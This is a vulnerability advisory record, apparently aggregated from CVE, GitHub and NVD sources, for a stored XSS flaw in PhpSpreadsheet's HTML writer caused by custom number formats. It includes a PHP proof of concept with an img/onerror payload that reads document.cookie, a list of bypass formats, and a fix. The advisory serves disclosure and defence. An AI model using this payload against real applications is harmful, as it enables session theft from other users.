{"id":"CVE-2026-40296","aliases":["CVE-2026-40296","GHSA-hrmw-qprp-wgmc"],"related":[],"kind":"vulnerability","state":"published","title":"PhpSpreadsheet vulnerable to XSS in HTML writer via custom number format codes","summary":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. The HTML writer skips htmlspecialchars escaping when a cell's formatted value differs from the original value. When a cell has a custom number format containing the text placeholder @ along with any additional literal characters (for example \". @\", \"@ \", or \"x@\"), the formatter replaces @ with the cell value and adds the extra characters, causing the formatted value to differ from the original and bypassing HTML escaping entirely. An attacker who can control the cell value and number format of an uploaded spreadsheet that is later converted to HTML and displayed to other users can achieve stored cross-site scripting. This issue is fixed in versions 5.7.0, 3.10.5, 2.4.5, 2.1.16, and 1.30.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. The HTML writer skips htmlspecialchars escaping when a cell's formatted value differs from the original value. When a cell has a custom number format containing the text placeholder @ along with any additional literal characters (for example \". @\", \"@ \", or \"x@\"), the formatter replaces @ with the cell value and adds the extra characters, causing the formatted value to differ from the original and bypassing HTML escaping entirely. An attacker who can control the cell value and number format of an uploaded spreadsheet that is later converted to HTML and displayed to other users can achieve stored cross-site scripting. This issue is fixed in versions 5.7.0, 3.10.5, 2.4.5, 2.1.16, and 1.30.4.","source":"cvelist"},{"lang":"en","text":"It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.\n\n## The Problem\n\nIn `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:\n\n```php\nif ($cellData === $origData) {\n    $cellData = htmlspecialchars($cellData, ...);\n}\n```\n\nWhen a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.\n\nEven a single trailing space in the format (`@ `) is enough to bypass the escape.\n\n## Proof of Concept\n\n```php\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Html;\nuse PhpOffice\\PhpSpreadsheet\\Cell\\DataType;\n\n$spreadsheet = new Spreadsheet();\n$sheet = $spreadsheet->getActiveSheet();\n\n// XSS payload with malicious number format\n$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);\n$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');\n\n$writer = new Html($spreadsheet);\n$writer->save('output.html');\n```\n\nThe generated HTML contains:\n```html\n<td>. <img src=x onerror=alert(document.cookie)></td>\n```\n\nThe XSS payload is **completely unescaped**.\n\n## Tested Bypass Formats\n\n| Format Code | Result | Escaped? |\n|---|---|---|\n| `General` (default) | Original value | YES (safe) |\n| `. @` | `. ` + value | **NO (XSS!)** |\n| `@ ` (trailing space) | value + ` ` | **NO (XSS!)** |\n| `x@` | `x` + value | **NO (XSS!)** |\n\nThis was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.\n\n## Impact\n\nAny application that:\n1. Accepts uploaded XLSX files from users\n2. Converts them to HTML using PhpSpreadsheet's HTML writer\n3. Displays the HTML to other users\n\n...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`.\n\n## Suggested Fix\n\nAlways apply `htmlspecialchars()` regardless of whether formatting changed the value:\n\n```php\n// Instead of conditional escaping:\n$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');\n```\n\nOr escape AFTER formatting, not conditionally based on equality.\n\n## Reporter\nKeyvan Hardani","format":"markdown","source":"ghsa"},{"lang":"es","text":"PhpSpreadsheet es una biblioteca PHP pura para leer y escribir archivos de hoja de cálculo. El escritor HTML omite el escape de htmlspecialchars cuando el valor formateado de una celda difiere del valor original. Cuando una celda tiene un formato de número personalizado que contiene el marcador de posición de texto @ junto con cualquier carácter literal adicional (por ejemplo, ’. @’, ’@ ’, o ’x@’), el formateador reemplaza @ con el valor de la celda y añade los caracteres adicionales, haciendo que el valor formateado difiera del original y omitiendo completamente el escape HTML. Un atacante que puede controlar el valor de la celda y el formato de número de una hoja de cálculo cargada que luego se convierte a HTML y se muestra a otros usuarios puede lograr cross-site scripting almacenado. Este problema está solucionado en las versiones 5.7.0, 3.10.5, 2.4.5, 2.1.16 y 1.30.4.","source":"nvd"}],"published":"2026-04-28T22:57:13.000Z","modified":"2026-10-26T19:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":">= 4.0.0, <= 5.6.0","status":"affected"},{"version":">= 3.3.0, <= 3.10.4","status":"affected"},{"version":">= 2.2.0, <= 2.4.4","status":"affected"},{"version":">= 2.0.0, <= 2.1.15","status":"affected"},{"version":"<= 1.30.3","status":"affected"}],"vendor":"PHPOffice","product":"PhpSpreadsheet","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"4.0.0","status":"affected","fixed":"5.7.0"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"3.3.0","status":"affected","fixed":"3.10.5"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.2.0","status":"affected","fixed":"2.4.5"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"2.0.0","status":"affected","fixed":"2.1.16"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.30.4"}],"ecosystem":"Packagist","package":"phpoffice/phpspreadsheet","purl":"pkg:composer/phpoffice/phpspreadsheet","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.30.4"},{"status":"affected","introduced":"2.0.0","fixed":"2.1.16"},{"status":"affected","introduced":"2.2.0","fixed":"2.4.5"},{"status":"affected","introduced":"3.3.0","fixed":"3.10.5"},{"status":"affected","introduced":"4.0.0","fixed":"5.7.0"}],"vendor":"phpoffice","product":"phpspreadsheet","cpe":"cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-hrmw-qprp-wgmc","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40296","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/PHPOffice/PhpSpreadsheet","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-07T14:02:42.632Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40296","url":"https://www.cve.org/CVERecord?id=CVE-2026-40296","licence":"CVE Terms of Use","modified":"2026-05-07T14:03:36.388Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hrmw-qprp-wgmc","url":"https://github.com/advisories/GHSA-hrmw-qprp-wgmc","licence":"CC-BY-4.0","modified":"2026-05-08T19:50:57.048Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40296","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40296","licence":"Public domain","modified":"2026-10-26T19:10:00.163Z"}],"updatedAt":"2026-11-25T22:59:20.837Z","epss":{"score":0.00225,"percentile":0.14016,"date":"2026-12-02T12:00:21.000Z"}}